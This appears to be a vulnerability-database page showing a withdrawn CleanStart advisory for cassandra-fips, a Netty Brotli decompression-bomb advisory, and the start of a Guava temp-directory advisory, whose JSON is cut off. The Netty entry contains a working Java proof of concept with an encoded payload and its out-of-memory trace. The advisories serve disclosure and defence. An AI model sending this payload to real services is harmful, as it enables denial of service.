Vulnerability-Lookup

(CVE-2015-2104)

Vulnerability from cleanstart – Published: 2026-05-18 13:00 – Updated: 2026-09-18 11:59 – Source website

Withdrawn 2026-09-18

Summary

Security fixes for CVE-2015-2104, CVE-2023-27043, CVE-2024-12254, CVE-2024-12718, CVE-2024-12798, CVE-2024-12801, CVE-2024-27137, CVE-2024-6232, CVE-2024-6923, CVE-2024-9287, CVE-2025-0938, CVE-2025-23015, CVE-2025-4138, CVE-2025-4330, CVE-2025-4516, CVE-2025-4517, CVE-2025-58057, CVE-2026-1225, CVE-2026-42583, ghsa-25qh-j22f-pwp8, ghsa-3p8m-j85q-pgmj, ghsa-5mg8-w23w-74h3, ghsa-6v67-2wr5-gvf4, ghsa-72hv-8253-57qq, ghsa-7g45-4rm6-3mm3, ghsa-mj4r-2hfc-f8p6, ghsa-pr98-23f8-jwxv, ghsa-qqpg-mvqg-649v applied in versions: 4.0.17-r1, 4.1.9-r0, 5.0.6-r1, 5.0.6-r2

Details

Multiple security vulnerabilities affect the cassandra-fips package. These issues are resolved in later releases. See references for individual vulnerability details.

References

URL

Type

	https://github.com/cleanstart-dev/cleanstart-secu…	ADVISORY
	https://osv.dev/vulnerability/CVE-2015-2104	WEB
	https://osv.dev/vulnerability/CVE-2023-27043	WEB
	https://osv.dev/vulnerability/CVE-2024-12254	WEB
	https://osv.dev/vulnerability/CVE-2024-12718	WEB
	https://osv.dev/vulnerability/CVE-2024-12798	WEB
	https://osv.dev/vulnerability/CVE-2024-12801	WEB
	https://osv.dev/vulnerability/CVE-2024-27137	WEB
	https://osv.dev/vulnerability/CVE-2024-6232	WEB
	https://osv.dev/vulnerability/CVE-2024-6923	WEB
	https://osv.dev/vulnerability/CVE-2024-9287	WEB
	https://osv.dev/vulnerability/CVE-2025-0938	WEB
	https://osv.dev/vulnerability/CVE-2025-23015	WEB
	https://osv.dev/vulnerability/CVE-2025-4138	WEB
	https://osv.dev/vulnerability/CVE-2025-4330	WEB
	https://osv.dev/vulnerability/CVE-2025-4516	WEB
	https://osv.dev/vulnerability/CVE-2025-4517	WEB
	https://osv.dev/vulnerability/CVE-2025-58057	WEB
	https://osv.dev/vulnerability/CVE-2026-1225	WEB
	https://osv.dev/vulnerability/CVE-2026-42583	WEB
	https://osv.dev/vulnerability/ghsa-25qh-j22f-pwp8	WEB
	https://osv.dev/vulnerability/ghsa-3p8m-j85q-pgmj	WEB
	https://osv.dev/vulnerability/ghsa-5mg8-w23w-74h3	WEB
	https://osv.dev/vulnerability/ghsa-6v67-2wr5-gvf4	WEB
	https://osv.dev/vulnerability/ghsa-72hv-8253-57qq	WEB
	https://osv.dev/vulnerability/ghsa-7g45-4rm6-3mm3	WEB
	https://osv.dev/vulnerability/ghsa-mj4r-2hfc-f8p6	WEB
	https://osv.dev/vulnerability/ghsa-pr98-23f8-jwxv	WEB
	https://osv.dev/vulnerability/ghsa-qqpg-mvqg-649v	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2015-2104	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2023-27043	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2024-12254	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2024-12718	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2024-12798	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2024-12801	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2024-27137	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2024-6232	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2024-6923	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2024-9287	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2025-0938	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2025-23015	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2025-4138	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2025-4330	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2025-4516	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2025-4517	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2025-58057	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-1225	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-42583	WEB

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "cassandra-fips"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.6-r2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "credits": [],
  "database_specific": {},
  "details": "Multiple security vulnerabilities affect the cassandra-fips package. These issues are resolved in later releases. See references for individual vulnerability details.",
  "id": "CLEANSTART-2026-SP91806",
  "modified": "2026-09-18T11:59:01.768079Z",
  "published": "2026-05-18T13:00:04.981288Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-SP91806.json"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2015-2104"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2023-27043"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2024-12254"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2024-12718"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2024-12798"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2024-12801"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2024-27137"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2024-6232"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2024-6923"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2024-9287"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2025-0938"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2025-23015"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2025-4138"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2025-4330"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2025-4516"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2025-4517"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2025-58057"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-1225"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-42583"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-25qh-j22f-pwp8"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-3p8m-j85q-pgmj"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-5mg8-w23w-74h3"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-6v67-2wr5-gvf4"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-72hv-8253-57qq"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-7g45-4rm6-3mm3"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-mj4r-2hfc-f8p6"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-pr98-23f8-jwxv"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-qqpg-mvqg-649v"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-2104"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27043"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12254"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12718"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12798"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12801"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27137"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6232"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6923"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9287"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0938"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23015"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4138"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4330"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4516"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4517"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58057"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1225"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42583"
    }
  ],
  "related": [],
  "schema_version": "1.7.3",
  "summary": "Security fixes for CVE-2015-2104, CVE-2023-27043, CVE-2024-12254, CVE-2024-12718, CVE-2024-12798, CVE-2024-12801, CVE-2024-27137, CVE-2024-6232, CVE-2024-6923, CVE-2024-9287, CVE-2025-0938, CVE-2025-23015, CVE-2025-4138, CVE-2025-4330, CVE-2025-4516, CVE-2025-4517, CVE-2025-58057, CVE-2026-1225, CVE-2026-42583, ghsa-25qh-j22f-pwp8, ghsa-3p8m-j85q-pgmj, ghsa-5mg8-w23w-74h3, ghsa-6v67-2wr5-gvf4, ghsa-72hv-8253-57qq, ghsa-7g45-4rm6-3mm3, ghsa-mj4r-2hfc-f8p6, ghsa-pr98-23f8-jwxv, ghsa-qqpg-mvqg-649v applied in versions: 4.0.17-r1, 4.1.9-r0, 5.0.6-r1, 5.0.6-r2",
  "upstream": [
    "CVE-2015-2104",
    "CVE-2023-27043",
    "CVE-2024-12254",
    "CVE-2024-12718",
    "CVE-2024-12798",
    "CVE-2024-12801",
    "CVE-2024-27137",
    "CVE-2024-6232",
    "CVE-2024-6923",
    "CVE-2024-9287",
    "CVE-2025-0938",
    "CVE-2025-23015",
    "CVE-2025-4138",
    "CVE-2025-4330",
    "CVE-2025-4516",
    "CVE-2025-4517",
    "CVE-2025-58057",
    "CVE-2026-1225",
    "CVE-2026-42583",
    "ghsa-25qh-j22f-pwp8",
    "ghsa-3p8m-j85q-pgmj",
    "ghsa-5mg8-w23w-74h3",
    "ghsa-6v67-2wr5-gvf4",
    "ghsa-72hv-8253-57qq",
    "ghsa-7g45-4rm6-3mm3",
    "ghsa-mj4r-2hfc-f8p6",
    "ghsa-pr98-23f8-jwxv",
    "ghsa-qqpg-mvqg-649v"
  ],
  "withdrawn": "2026-09-18T11:59:01.768079Z"
}

GHSA-3P8M-J85Q-PGMJ

Vulnerability from github – Published: 2025-09-03 18:00 – Updated: 2025-09-04 13:51

Summary

Netty's decoders vulnerable to DoS via zip bomb style attack

Details

Summary

With specially crafted input, BrotliDecoder and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.

Details

BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.

Tested on 4.1.118, but there were no changes to the decoder since.

PoC

Run this test case with -Xmx1G:

import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;

import java.util.Base64;

public class T {
    public static void main(String[] args) {
        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
    }
}

Error:

Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)
    at java.base/java.nio.Bits.reserveMemory(Bits.java:178)
    at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121)
    at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)
    at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)
    at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)
    at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)
    at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)
    at io.netty.buffer.PoolArena.allocate(PoolArena.java:137)
    at io.netty.buffer.PoolArena.allocate(PoolArena.java:127)
    at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)
    at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)
    at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)
    at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)
    at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)
    at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)
    at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)
    at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)
    at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)
    at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)
    at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)
    at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
    at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)
    at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)
    at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)
    at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
    at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)
    at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)
    at io.netty.handler.codec.compression.T.main(T.java:11)

Impact

DoS for anyone using BrotliDecoder on untrusted input.

Severity

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-compression"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.5.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.125.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58057"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-03T18:00:55Z",
    "nvd_published_at": "2025-09-04T10:42:32Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWith specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.\n\n### Details\n\n`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.\n\nTested on 4.1.118, but there were no changes to the decoder since.\n\n### PoC\n\nRun this test case with `-Xmx1G`:\n\n```java\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\n\nimport java.util.Base64;\n\npublic class T {\n    public static void main(String[] args) {\n        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());\n        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode(\"aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=\")));\n    }\n}\n```\n\nError:\n\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)\n\tat java.base/java.nio.Bits.reserveMemory(Bits.java:178)\n\tat java.base/java.nio.DirectByteBuffer.\u003cinit\u003e(DirectByteBuffer.java:121)\n\tat java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)\n\tat io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)\n\tat io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)\n\tat io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)\n\tat io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:137)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:127)\n\tat io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)\n\tat io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)\n\tat io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)\n\tat io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)\n\tat io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)\n\tat io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)\n\tat io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)\n\tat io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)\n\tat io.netty.handler.codec.compression.T.main(T.java:11)\n```\n\n### Impact\n\nDoS for anyone using `BrotliDecoder` on untrusted input.",
  "id": "GHSA-3p8m-j85q-pgmj",
  "modified": "2025-09-04T13:51:43Z",
  "published": "2025-09-03T18:00:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-3p8m-j85q-pgmj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58057"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Netty\u0027s decoders vulnerable to DoS via zip bomb style attack"
}

GHSA-5MG8-W23W-74H3

Vulnerability from github – Published: 2021-03-25 17:04 – Updated: 2026-02-23 22:45

Summary

Information Disclosure in Guava

Details

A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava com.google.common.io.Files.createTempDir(). The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method.

Severity

3.3 (Low)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.guava:guava"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "32.0.0-android"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-8908"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-173",
      "CWE-200",
      "CWE-378",
      "CWE-732"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-03-25T17:01:09Z",
    "nvd_published_at": "2020-12-10T23:15:00Z",
    "severity": "LOW"
  },
  "details": "A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method.",
